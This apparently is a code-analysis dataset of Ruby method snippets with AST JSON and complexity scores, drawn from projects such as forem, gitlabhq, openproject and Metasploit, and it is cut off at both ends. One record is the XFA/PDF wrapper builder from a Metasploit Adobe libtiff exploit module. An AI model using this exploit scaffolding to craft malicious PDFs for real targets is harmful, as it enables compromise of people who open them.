category_id =\n CategoryCustomField.where(name: \"import_id\").where(value: sc[\"nodeid\"]).first.category_id\n begin\n Permalink.create(url: \"#{URL_PREFIX}#{sc[\"p1\"]}/#{sc[\"p2\"]}\", category_id: category_id)\n rescue StandardError\n nil\n end\n end\n end","complexity_score":73.45,"ast_json":"{\"type\":\"def\",\"children\":[\"create_permalinks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating permalinks...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT COUNT(nodeid) cnt\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE (unpublishdate = 0 OR unpublishdate IS NULL)\\n\"]},{\"type\":\"str\",\"children\":[\" AND (approved = 1 AND showapproved = 1)\\n\"]},{\"type\":\"str\",\"children\":[\" AND parentid IN (\\n\"]},{\"type\":\"str\",\"children\":[\" SELECT nodeid FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node WHERE contenttypeid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel_typeid\"]}]},{\"type\":\"str\",\"children\":[\" ) AND contenttypeid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text_typeid\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"cnt\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"batches\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" SELECT p.urlident p1, f.urlident p2, t.nodeid, t.urlident p3\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node f\\n\"]},{\"type\":\"str\",\"children\":[\" LEFT JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node t ON t.parentid = f.nodeid\\n\"]},{\"type\":\"str\",\"children\":[\" LEFT JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node p ON p.nodeid = f.parentid\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE f.contenttypeid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel_typeid\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" AND t.contenttypeid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@text_typeid\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" AND t.approved = 1 AND t.showapproved = 1\\n\"]},{\"type\":\"str\",\"children\":[\" AND (t.unpublishdate = 0 OR t.unpublishdate IS NULL)\\n\"]},{\"type\":\"str\",\"children\":[\" ORDER BY t.nodeid\\n\"]},{\"type\":\"str\",\"children\":[\" LIMIT \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" OFFSET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"offset\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"lvar\",\"children\":[\"current_count\"]},{\"type\":\"lvar\",\"children\":[\"total_count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"disc_topic\",{\"type\":\"send\",\"children\":[null,\"topic_lookup_from_imported_post_id\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"thread-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeid\"]}]}]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p1\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p2\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeid\"]}]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p3\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"disc_topic\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cats\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" SELECT nodeid, urlident\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE contenttypeid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel_typeid\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" AND parentid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ROOT_NODE\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cats\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"import_id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeid\"]}]}]}]}]},\"first\"]},\"category_id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"[]\",{\"type\":\"str\",\"children\":[\"urlident\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"subcats\",{\"type\":\"send\",\"children\":[null,\"mysql_query\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" SELECT n1.nodeid,n2.urlident p1,n1.urlident p2\\n\"]},{\"type\":\"str\",\"children\":[\" FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node n1\\n\"]},{\"type\":\"str\",\"children\":[\" LEFT JOIN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PREFIX\"]}]},{\"type\":\"str\",\"children\":[\"node n2 ON n2.nodeid=n1.parentid\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE n2.parentid = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ROOT_NODE\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" AND n1.contenttypeid=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@channel_typeid\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subcats\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CategoryCustomField\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"import_id\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"nodeid\"]}]}]}]}]},\"first\"]},\"category_id\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Permalink\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URL_PREFIX\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p1\"]}]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sc\"]},\"[]\",{\"type\":\"str\",\"children\":[\"p2\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"lvar\",\"children\":[\"category_id\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"nil\",\"children\":[]}]},null]}]}]}]}]}]}","id":"f969651f-3e31-4645-96da-95111899ba73"} {"repo_name":"forem","file_path":"./repos/forem/app/services/user_query_executor.rb","start_line":219,"raw_source":"def extract_estimated_rows(result)\n return 0 unless result.is_a?(PG::Result) && result.ntuples > 0\n\n plan_data = result.first[\"QUERY PLAN\"]\n return 0 unless plan_data.is_a?(Array) && plan_data.first.is_a?(Hash)\n\n plan = plan_data.first\n extract_rows_from_plan(plan)\n end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_estimated_rows\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Result\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"ntuples\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plan_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"first\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QUERY PLAN\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan_data\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan_data\"]},\"first\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plan\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plan_data\"]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"extract_rows_from_plan\",{\"type\":\"lvar\",\"children\":[\"plan\"]}]}]}]}","id":"2972ffa2-416c-4a63-bdc7-4311d255f932"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/database/mark_migration_service.rb","start_line":53,"raw_source":"def arel_table\n @arel_table ||= Arel::Table.new(:schema_migrations)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"arel_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@arel_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Table\"]},\"new\",{\"type\":\"sym\",\"children\":[\"schema_migrations\"]}]}]}]}","id":"7bcbc18d-5653-4d47-9ca3-c06f29c343d1"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request.rb","start_line":304,"raw_source":"def self.request_types\n REQUEST_TYPES[name.to_sym].keys.collect(&:to_s)\n end","complexity_score":8.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request_types\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REQUEST_TYPES\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"to_sym\"]}]},\"keys\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}","id":"d2b42720-75a9-43fc-a3c4-8b27bb153112"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/schemas/version_filter_dependency_representer.rb","start_line":55,"raw_source":"def to_query(param)\n CGI.escape(::JSON.dump(param))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"to_query\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"param\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CGI\"]},\"escape\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSON\"]},\"dump\",{\"type\":\"lvar\",\"children\":[\"param\"]}]}]}]}","id":"1df364b6-3688-4319-a57f-09182e4411d8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/badge.rb","start_line":63,"raw_source":"def build_rendered_url(url, project = nil)\n return url unless project\n\n Gitlab::StringPlaceholderReplacer.replace_string_placeholders(url, PLACEHOLDERS_REGEX) do |arg|\n replace_placeholder_action(PLACEHOLDERS[arg], project)\n end\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"build_rendered_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"optarg\",\"children\":[\"project\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"StringPlaceholderReplacer\"]},\"replace_string_placeholders\",{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"const\",\"children\":[null,\"PLACEHOLDERS_REGEX\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"replace_placeholder_action\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PLACEHOLDERS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]}]}","id":"d1b0ebcc-3122-4467-bd70-c295b060e942"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/workers/cost_query/pdf/timesheet_generator_spec.rb","start_line":183,"raw_source":"def expected_first_user_table(with_times_column)\n [\n user.name,\n *expected_table_header(with_times_column),\n *expected_entry_row(user_time_entry, with_times_column)\n ]\n end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_first_user_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"with_times_column\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected_table_header\",{\"type\":\"lvar\",\"children\":[\"with_times_column\"]}]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected_entry_row\",{\"type\":\"send\",\"children\":[null,\"user_time_entry\"]},{\"type\":\"lvar\",\"children\":[\"with_times_column\"]}]}]}]}]}","id":"92388550-3998-4923-85f3-13ff0f5a11cb"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/adobe_libtiff.rb","start_line":315,"raw_source":"def make_xml(tiff_data)\n xml_data = <<~EOS\n <?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n <xdp:xdp xmlns:xdp=\"http://ns.adobe.com/xdp/\">\n <config xmlns=\"http://www.xfa.org/schema/xci/1.0/\">\n <present>\n <pdf>\n <version>1.65</version>\n <interactive>1</interactive>\n <linearized>1</linearized>\n </pdf>\n <xdp>\n <packets>*</packets>\n </xdp>\n <destination>pdf</destination>\n </present>\n </config>\n <template baseProfile=\"interactiveForms\" xmlns=\"http://www.xfa.org/schema/xfa-template/2.4/\">\n <subform name=\"topmostSubform\" layout=\"tb\" locale=\"en_US\">\n <pageSet>\n <pageArea id=\"PageArea1\" name=\"PageArea1\">\n <contentArea name=\"ContentArea1\" x=\"0pt\" y=\"0pt\" w=\"612pt\" h=\"792pt\" />\n <medium short=\"612pt\" long=\"792pt\" stock=\"custom\" />\n </pageArea>\n </pageSet>\n <subform name=\"Page1\" x=\"0pt\" y=\"0pt\" w=\"612pt\" h=\"792pt\">\n <break before=\"pageArea\" beforeTarget=\"#PageArea1\" />\n <bind match=\"none\" />\n <field name=\"ImageField1\" w=\"28.575mm\" h=\"1.39mm\" x=\"37.883mm\" y=\"29.25mm\">\n <ui>\n <imageEdit />\n </ui>\n </field>\n <?templateDesigner expand 1?>\n </subform>\n <?templateDesigner expand 1?>\n </subform>\n <?templateDesigner FormTargetVersion 24?>\n <?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>\n <?templateDesigner Zoom 94?>\n </template>\n <xfa:datasets xmlns:xfa=\"http://www.xfa.org/schema/xfa-data/1.0/\">\n <xfa:data>\n <topmostSubform>\n <ImageField1 xfa:contentType=\"image/tif\" href=\"\">REPLACE_TIFF</ImageField1>\n </topmostSubform>\n </xfa:data>\n </xfa:datasets>\n <PDFSecurity xmlns=\"http://ns.adobe.com/xtd/\" print=\"1\" printHighQuality=\"1\" change=\"1\" modifyAnnots=\"1\" formFieldFilling=\"1\" documentAssembly=\"1\" contentCopy=\"1\" accessibleContent=\"1\" metadata=\"1\" />\n <form checksum=\"a5Mpguasoj4WsTUtgpdudlf4qd4=\" xmlns=\"http://www.xfa.org/schema/xfa-form/2.8/\">\n <subform name=\"topmostSubform\">\n <instanceManager name=\"_Page1\" />\n <subform name=\"Page1\">\n <field name=\"ImageField1\" />\n </subform>\n <pageSet>\n <pageArea name=\"PageArea1\" />\n </pageSet>\n </subform>\n </form>\n </xdp:xdp>\n EOS\n xml_data.gsub!(/REPLACE_TIFF/, tiff_data)\n\n xml_data\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"make_xml\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tiff_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml_data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" ?>\\n\"]},{\"type\":\"str\",\"children\":[\"<xdp:xdp xmlns:xdp=\\\"http://ns.adobe.com/xdp/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<config xmlns=\\\"http://www.xfa.org/schema/xci/1.0/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<present>\\n\"]},{\"type\":\"str\",\"children\":[\"<pdf>\\n\"]},{\"type\":\"str\",\"children\":[\"<version>1.65</version>\\n\"]},{\"type\":\"str\",\"children\":[\"<interactive>1</interactive>\\n\"]},{\"type\":\"str\",\"children\":[\"<linearized>1</linearized>\\n\"]},{\"type\":\"str\",\"children\":[\"</pdf>\\n\"]},{\"type\":\"str\",\"children\":[\"<xdp>\\n\"]},{\"type\":\"str\",\"children\":[\"<packets>*</packets>\\n\"]},{\"type\":\"str\",\"children\":[\"</xdp>\\n\"]},{\"type\":\"str\",\"children\":[\"<destination>pdf</destination>\\n\"]},{\"type\":\"str\",\"children\":[\"</present>\\n\"]},{\"type\":\"str\",\"children\":[\"</config>\\n\"]},{\"type\":\"str\",\"children\":[\"<template baseProfile=\\\"interactiveForms\\\" xmlns=\\\"http://www.xfa.org/schema/xfa-template/2.4/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<subform name=\\\"topmostSubform\\\" layout=\\\"tb\\\" locale=\\\"en_US\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<pageSet>\\n\"]},{\"type\":\"str\",\"children\":[\"<pageArea id=\\\"PageArea1\\\" name=\\\"PageArea1\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<contentArea name=\\\"ContentArea1\\\" x=\\\"0pt\\\" y=\\\"0pt\\\" w=\\\"612pt\\\" h=\\\"792pt\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<medium short=\\\"612pt\\\" long=\\\"792pt\\\" stock=\\\"custom\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</pageArea>\\n\"]},{\"type\":\"str\",\"children\":[\"</pageSet>\\n\"]},{\"type\":\"str\",\"children\":[\"<subform name=\\\"Page1\\\" x=\\\"0pt\\\" y=\\\"0pt\\\" w=\\\"612pt\\\" h=\\\"792pt\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<break before=\\\"pageArea\\\" beforeTarget=\\\"#PageArea1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<bind match=\\\"none\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<field name=\\\"ImageField1\\\" w=\\\"28.575mm\\\" h=\\\"1.39mm\\\" x=\\\"37.883mm\\\" y=\\\"29.25mm\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<ui>\\n\"]},{\"type\":\"str\",\"children\":[\"<imageEdit />\\n\"]},{\"type\":\"str\",\"children\":[\"</ui>\\n\"]},{\"type\":\"str\",\"children\":[\"</field>\\n\"]},{\"type\":\"str\",\"children\":[\"<?templateDesigner expand 1?>\\n\"]},{\"type\":\"str\",\"children\":[\"</subform>\\n\"]},{\"type\":\"str\",\"children\":[\"<?templateDesigner expand 1?>\\n\"]},{\"type\":\"str\",\"children\":[\"</subform>\\n\"]},{\"type\":\"str\",\"children\":[\"<?templateDesigner FormTargetVersion 24?>\\n\"]},{\"type\":\"str\",\"children\":[\"<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>\\n\"]},{\"type\":\"str\",\"children\":[\"<?templateDesigner Zoom 94?>\\n\"]},{\"type\":\"str\",\"children\":[\"</template>\\n\"]},{\"type\":\"str\",\"children\":[\"<xfa:datasets xmlns:xfa=\\\"http://www.xfa.org/schema/xfa-data/1.0/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<xfa:data>\\n\"]},{\"type\":\"str\",\"children\":[\"<topmostSubform>\\n\"]},{\"type\":\"str\",\"children\":[\"<ImageField1 xfa:contentType=\\\"image/tif\\\" href=\\\"\\\">REPLACE_TIFF</ImageField1>\\n\"]},{\"type\":\"str\",\"children\":[\"</topmostSubform>\\n\"]},{\"type\":\"str\",\"children\":[\"</xfa:data>\\n\"]},{\"type\":\"str\",\"children\":[\"</xfa:datasets>\\n\"]},{\"type\":\"str\",\"children\":[\"<PDFSecurity xmlns=\\\"http://ns.adobe.com/xtd/\\\" print=\\\"1\\\" printHighQuality=\\\"1\\\" change=\\\"1\\\" modifyAnnots=\\\"1\\\" formFieldFilling=\\\"1\\\" documentAssembly=\\\"1\\\" contentCopy=\\\"1\\\" accessibleContent=\\\"1\\\" metadata=\\\"1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<form checksum=\\\"a5Mpguasoj4WsTUtgpdudlf4qd4=\\\" xmlns=\\\"http://www.xfa.org/schema/xfa-form/2.8/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<subform name=\\\"topmostSubform\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<instanceManager name=\\\"_Page1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<subform name=\\\"Page1\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<field name=\\\"ImageField1\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</subform>\\n\"]},{\"type\":\"str\",\"children\":[\"<pageSet>\\n\"]},{\"type\":\"str\",\"children\":[\"<pageArea 